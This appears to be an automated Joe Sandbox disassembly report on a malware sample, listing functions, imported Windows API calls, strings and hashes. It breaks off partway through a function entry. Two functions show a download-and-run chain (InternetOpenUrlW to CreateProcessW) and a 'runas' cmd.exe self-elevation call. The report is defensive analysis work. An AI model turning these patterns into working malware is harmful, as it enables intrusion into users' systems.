Instruction ID: cd427be990fb9f2ddf34e7a5dae3a839f2a7ee4b9b9daebba8eb3e0d3895db52
Opcode Fuzzy Hash: 5080549309a826ca9b32cdc4d2358fb441fa955f9b99f6da77138be75d9720cf
Instruction Fuzzy Hash: 9312E371A006148BCB25DF24C8857AABBF5EF44318F1842EDE85D9B392D731AB45CF94

Function 00C927EB Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1473COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00C92A02

Strings

1#SNAN, xrefs: 00C928F7
1#IND, xrefs: 00C928F0
1#QNAN, xrefs: 00C928FE
1#INF, xrefs: 00C92921

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 35942fda2d49ed9c0cef35717af70fc9b909b20db9452429e8638ac11cf907dd
Instruction ID: 78e568b67073be54a90014ca029ae6799c3a9a957232aaef278a7f2bd52564dd
Opcode Fuzzy Hash: 35942fda2d49ed9c0cef35717af70fc9b909b20db9452429e8638ac11cf907dd
Instruction Fuzzy Hash: DFD22572E086689FDF65CE28CD487EAB7B5EB44305F1401EAD44DA7240EB78AF818F41

Function 00C92340 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee952e25a22fe5600719e129e6a69d76954a32707930552934fc297b8667f3ce
Instruction ID: 69068c09d87a8bb5b83d7fa88df7c0911154504af13fd9a1f758e137b33028cb
Opcode Fuzzy Hash: ee952e25a22fe5600719e129e6a69d76954a32707930552934fc297b8667f3ce
Instruction Fuzzy Hash: 3E024C71E01219ABDF14CFA9C884AAEBBF1FF48314F258269E555E7340D731AA45CB90

Function 00C87884 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00C87890
IsDebuggerPresent.KERNEL32 ref: 00C8795C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00C87975
UnhandledExceptionFilter.KERNEL32(?), ref: 00C8797F

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 451c5e7f2acb5c22961530c995f0f115759d4593bd8b6380b0fca793ef7b1569
Instruction ID: f855e34060a5809ab4e256dea95f7080d0542b9722880a9cbac48e2c67720f3c
Opcode Fuzzy Hash: 451c5e7f2acb5c22961530c995f0f115759d4593bd8b6380b0fca793ef7b1569
Instruction Fuzzy Hash: 1531D775D052189BDF21EFA4D949BCDBBB8AF08304F1051AAE40CAB290EB759B84DF45

Function 00C8D978 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00C8DA70
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00C8DA7A
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 00C8DA87

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: c8287e02865636defeccb73ba546a52c4d924b01239b62fdc56276ce998496aa
Instruction ID: f245f40c2c9733c2535a657d600432c7ad393f427d12af05bfd90bca9fd191fb
Opcode Fuzzy Hash: c8287e02865636defeccb73ba546a52c4d924b01239b62fdc56276ce998496aa
Instruction Fuzzy Hash: A231C9749012189BCB21EF68DD897DCB7B8BF08314F6041EAE41CA7291E7709F859F44

Function 00C85D40 Relevance: 3.3, APIs: 2, Instructions: 326fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(FFFFFFFF,?,00000000,00000000,00000000), ref: 00C85E1C
ReadFile.KERNEL32(FFFFFFFF,?,00004000,00004000,00000000,00000000), ref: 00C85E40

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: File$PointerRead
String ID:
API String ID: 3154509469-0
Opcode ID: 7f97d38b8a99a91e9ee250de9d79a8127270691bb4012db4acc844fe6a45e00f
Instruction ID: 2d6a3554a3f9c3a894d1a36867ba48be091c08b2cd4f9036b4c76540beafa0e0
Opcode Fuzzy Hash: 7f97d38b8a99a91e9ee250de9d79a8127270691bb4012db4acc844fe6a45e00f
Instruction Fuzzy Hash: CCC19C31A00B058FCB24DFAAD8806AAB7F2FF84308F14856ED59697751CB71EE45CB94

Function 00C97867 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00C97862,?,?,00000008,?,?,00C97465,00000000), ref: 00C97A94

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 1c4d6c85be73f7c1eafb0ac6f063230846a80e98fb9b26cd0ba6b7c5b9204603
Instruction ID: a3b979e9a4d30e82bc3066ea62df340dbbf2eaa22dd1b43aee53acbaaf5a59ad
Opcode Fuzzy Hash: 1c4d6c85be73f7c1eafb0ac6f063230846a80e98fb9b26cd0ba6b7c5b9204603
Instruction Fuzzy Hash: F4B17F31625609DFDB19CF28C48AB657BE0FF45364F298658E8E9CF2A1C335DA91CB40

Function 00C87B48 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00C87B5E

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: c7b3d1239058d30a9726ad8301fdc2e12c73c5b5361111a7545b69fab14240e6
Instruction ID: 8bc63d4a7b9a9201df5ee0331a44b10cf8e8e8a49734980ac320c1a05963d0d1
Opcode Fuzzy Hash: c7b3d1239058d30a9726ad8301fdc2e12c73c5b5361111a7545b69fab14240e6
Instruction Fuzzy Hash: 9D518FB1A042158FEB19CF69D8857AEBBF1FB49318F24862AD415EB250E774DE40CF60

Function 00C8BAFC Relevance: 1.6, Strings: 1, Instructions: 385COMMON

Download Yara Rule

Strings

0, xrefs: 00C8BC8D

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 8de7ec85767217ba07f813fdb1fa3e2e2966e04cfd7429034460afb7b173811e
Instruction ID: f92386f74bbca2c80795d6f7c1494eff8567ede3af334d2a7d0f5d846fcb7daa
Opcode Fuzzy Hash: 8de7ec85767217ba07f813fdb1fa3e2e2966e04cfd7429034460afb7b173811e
Instruction Fuzzy Hash: 21D1F130A0060A9FCB28EF69C584ABEB7B1FF49318F14461DD5669B795C730AE41CB5C

Function 00C8F905 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee9e197f7c891d3f5866a939c4de651cb651f544e5c7e6be523872b200a5f587
Instruction ID: 5c9567796f7786bc255acaa319cbbb89777cd4349dedf8c21f100881ab6a8cf7
Opcode Fuzzy Hash: ee9e197f7c891d3f5866a939c4de651cb651f544e5c7e6be523872b200a5f587
Instruction Fuzzy Hash: 0A31C672900219AFDB24EFA9CC89EBAB76DEB84358F14416DF815D7240EA309E419B54

Function 00C84B40 Relevance: 1.6, Strings: 1, Instructions: 319COMMON

Download Yara Rule

Strings

need dictionary, xrefs: 00C84EC4

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: need dictionary
API String ID: 0-853443464
Opcode ID: e37ab8d0f7bfb05ca2aea8b16f50c6c5db94d00a04c0ad9d5d6913e0b7f60abf
Instruction ID: f5fb38a0c804431da27a84453e60e50dbabde66917f88703a7d102f3923d2959
Opcode Fuzzy Hash: e37ab8d0f7bfb05ca2aea8b16f50c6c5db94d00a04c0ad9d5d6913e0b7f60abf
Instruction Fuzzy Hash: B8C114B16006018FD774CF1AC880B22FBF4FF59315B24899ED8AACB651D776E942CB50

Function 00C87A11 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00007A1D,00C87271), ref: 00C87A16

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 6005e761c4215fab923f06eac55d1384aae4ecf9b80b8aa6af6c9436501828d6
Instruction ID: c1351462f4af830258eee16f07dec28aa9e5c036a62865e4956b58e133c17d83
Opcode Fuzzy Hash: 6005e761c4215fab923f06eac55d1384aae4ecf9b80b8aa6af6c9436501828d6
Instruction Fuzzy Hash:

Function 00C82FB0 Relevance: 1.0, Instructions: 993COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbda7cf880479d6a8690b6adde060dcdb6b41233c359a17f09d265554e36ee1b
Instruction ID: 1cc1175875ab38e71387fc6a0c5550f9f2a1c03c58d68fb70b7a29f1b747ad3a
Opcode Fuzzy Hash: dbda7cf880479d6a8690b6adde060dcdb6b41233c359a17f09d265554e36ee1b
Instruction Fuzzy Hash: 7292F7B5E00259DFCB04DF99C980AADBBF1FF48318F2492A9D415AB351D335AA42CF94

Function 00C83C20 Relevance: .4, Instructions: 361COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ada7e8fa614c8bf941aba92b5814df6d46338476cfc7c1c8fcbf84135213c882
Instruction ID: 513faa365a274735bd742ace60884bcdd3c696c81114c8e22383b8c8386f8827
Opcode Fuzzy Hash: ada7e8fa614c8bf941aba92b5814df6d46338476cfc7c1c8fcbf84135213c882
Instruction Fuzzy Hash: A7F1F634E002698FDB24DF28C980B99B7B1FF89318F1481EAD95DA7345DB30AE858F54

Function 00C84580 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06a48d0307aba045a325c72f661d996e2a0979724963dba45942fa50020af62c
Instruction ID: 4f9c738ede039c561b771df11e06f7e5b2ea67faa7d4d90406f36defd4ad647e
Opcode Fuzzy Hash: 06a48d0307aba045a325c72f661d996e2a0979724963dba45942fa50020af62c
Instruction Fuzzy Hash: A12157305240B28A870C8B3DAC26537FB91DB5720378B47BFE9D7DA0C6D52AE564D7A0

Function 00C82520 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 52
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000008,0000020A), ref: 00C82534
HeapAlloc.KERNEL32(00000000), ref: 00C8253D
GetModuleFileNameW.KERNEL32(00000000,00000000,00000104), ref: 00C8254A
GetProcessHeap.KERNEL32(00000008,0000026A), ref: 00C82557
HeapAlloc.KERNEL32(00000000), ref: 00C8255A
wsprintfW.USER32 ref: 00C82567
ShellExecuteW.SHELL32(00000000,runas,cmd.exe,00000000,00000000,00000000), ref: 00C82587
GetProcessHeap.KERNEL32(00000000,?), ref: 00C82593
HeapFree.KERNEL32(00000000), ref: 00C8259C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00C825A1
HeapFree.KERNEL32(00000000), ref: 00C825A4
ExitProcess.KERNEL32 ref: 00C825A8

Strings

runas, xrefs: 00C82580
/c "%s", xrefs: 00C82561
cmd.exe, xrefs: 00C8257B

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: Heap$Process$AllocFree$ExecuteExitFileModuleNameShellwsprintf
String ID: /c "%s"$cmd.exe$runas
API String ID: 3385381366-213241364
Opcode ID: 7a681f715dbc2c23e0a673381856a14f167c9e904d0ee278fe12023dc80c8053
Instruction ID: 742754749a1b4a1b88b388e29310723a15aa3f702653f700fa6e31b11672cc4e
Opcode Fuzzy Hash: 7a681f715dbc2c23e0a673381856a14f167c9e904d0ee278fe12023dc80c8053
Instruction Fuzzy Hash: 4F01FF71E803147AEB10A7A65C4EF5F7E6CFB5DB55F001055F708A71D0C9B49900DA65

Function 00C81860 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 157memoryprocessCOMMON

Download Yara Rule

APIs

Part of subcall function 00C825B0: InternetOpenW.WININET(00000000,00000000,00000000,00000000,04000000), ref: 00C825E1
Part of subcall function 00C825B0: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00C825FB
Part of subcall function 00C825B0: InternetReadFile.WININET(00000000,?,00000800,FFFFFFFF), ref: 00C82644
Part of subcall function 00C825B0: GetProcessHeap.KERNEL32(00000008,0000000100000000), ref: 00C8265A
Part of subcall function 00C825B0: HeapAlloc.KERNEL32(00000000), ref: 00C8265D
Part of subcall function 00C825B0: GetProcessHeap.KERNEL32(00000008,FFFFFFFF), ref: 00C826AA
Part of subcall function 00C825B0: RtlAllocateHeap.NTDLL(00000000), ref: 00C826AD
Part of subcall function 00C825B0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00C826D7
Part of subcall function 00C825B0: RtlFreeHeap.NTDLL(00000000), ref: 00C826DA
Part of subcall function 00C825B0: InternetCloseHandle.WININET(?), ref: 00C826E6
Part of subcall function 00C825B0: InternetCloseHandle.WININET(?), ref: 00C826F3

GetProcessHeap.KERNEL32(00000000,0000020A), ref: 00C818A0
HeapAlloc.KERNEL32(00000000), ref: 00C818A3
SHGetSpecialFolderPathW.SHELL32(00000000,00000000,00000023,00000000), ref: 00C818B6

Part of subcall function 00C86DD0: GetCurrentDirectoryW.KERNEL32(00000103,00000244,?,?,?,00000000,000000FF), ref: 00C86E5D

GetProcessHeap.KERNEL32(00000008,0000020A,00000000,00000000,000000FF,?), ref: 00C81989
HeapAlloc.KERNEL32(00000000), ref: 00C8198C
PathCombineW.SHLWAPI(00000000,?,?), ref: 00C819AA
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000008,00000000,00000000,00000044,?,?,00000000,00000000), ref: 00C81A1A
CloseHandle.KERNEL32(?,?,00000000,00000000), ref: 00C81A2A
CloseHandle.KERNEL32(?,?,00000000,00000000), ref: 00C81A36
GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 00C81A45
HeapFree.KERNEL32(00000000,?,00000000,00000000), ref: 00C81A48

Strings

D, xrefs: 00C819E9

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: Heap$Process$Internet$CloseHandle$Alloc$FreeOpenPath$AllocateCombineCreateCurrentDirectoryFileFolderReadSpecial
String ID: D
API String ID: 2613224297-2746444292
Opcode ID: 38241c9eacdde098594167fef4377c0d5e652a6f2b78735c41b311b5776d74e7
Instruction ID: 489929afab28536fcb1726e9acddd14abe83fae4010fae2b1a38ad47f8406043
Opcode Fuzzy Hash: 38241c9eacdde098594167fef4377c0d5e652a6f2b78735c41b311b5776d74e7
Instruction Fuzzy Hash: D5519131A012189BDB20AF64DC5DBAE77B8FF48705F1401AEE959AB290DB309A45CF58

Function 00C88CBB Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00C88DDA
___TypeMatch.LIBVCRUNTIME ref: 00C88EE8
_UnwindNestedFrames.LIBCMT ref: 00C8903A
CallUnexpected.LIBVCRUNTIME ref: 00C89055

Strings

csm, xrefs: 00C88D65
csm, xrefs: 00C88E11
csm, xrefs: 00C88CF8

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: dc5ed1a2a91a28ce6ca58b1ad821dfcff9d914c0cb4acb8b4ec6e06ac6e9fbc5
Instruction ID: 7dcd94f20f229e8c58ccd2c0862a1b2ddcb183f8b53d548ad1e291d48939041c
Opcode Fuzzy Hash: dc5ed1a2a91a28ce6ca58b1ad821dfcff9d914c0cb4acb8b4ec6e06ac6e9fbc5
Instruction Fuzzy Hash: 73B1BD31800209EFCF15FFA4C8809AEB7B5FF14318F94415AE9116BA12DB30EE55DB99

Function 00C8E03E Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00C8E0C4

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: bae61aaf466f51dc2cfca6d4b3cb37822215d39356c954e04fc30a487091a812
Instruction ID: 6ccf269cd5f745b1ade877cbcd9be19aee200b70352ecc94059d6c116dee3b8c
Opcode Fuzzy Hash: bae61aaf466f51dc2cfca6d4b3cb37822215d39356c954e04fc30a487091a812
Instruction Fuzzy Hash: FAB17972A003659FDB11AF64CC81BBE7BA5EF56318F144165E914EB382D770DE01C7A8

Function 00C88540 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00C88577
___except_validate_context_record.LIBVCRUNTIME ref: 00C8857F
_ValidateLocalCookies.LIBCMT ref: 00C88608
__IsNonwritableInCurrentImage.LIBCMT ref: 00C88633
_ValidateLocalCookies.LIBCMT ref: 00C88688

Strings

csm, xrefs: 00C8861D

Memory Dump Source

Source File: 00000003.00000002.1370071949.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000003.00000002.1370030565.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370117097.0000000000C99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370150527.0000000000CA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1370211837.0000000000CA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_c80000_SecuriteInfo.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: e97b15a1cb8d87377fad422e89169f55b71c53ffdbe772df19e3e1227ceedc98
Instruction ID: acb43bb19beb8fc67f415b3c52bf219f8e4721227a0acde0a7aba590cbcfbade
Opcode Fuzzy Hash: e97b15a1cb8d87377fad422e89169f55b71c53ffdbe772df19e3e1227ceedc98
Instruction Fuzzy Hash: 3341D934A002189BCF10EF68C884A9EBBB5FF45318F548159F819AB792DB31DE09CB95

Function 00C911E3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

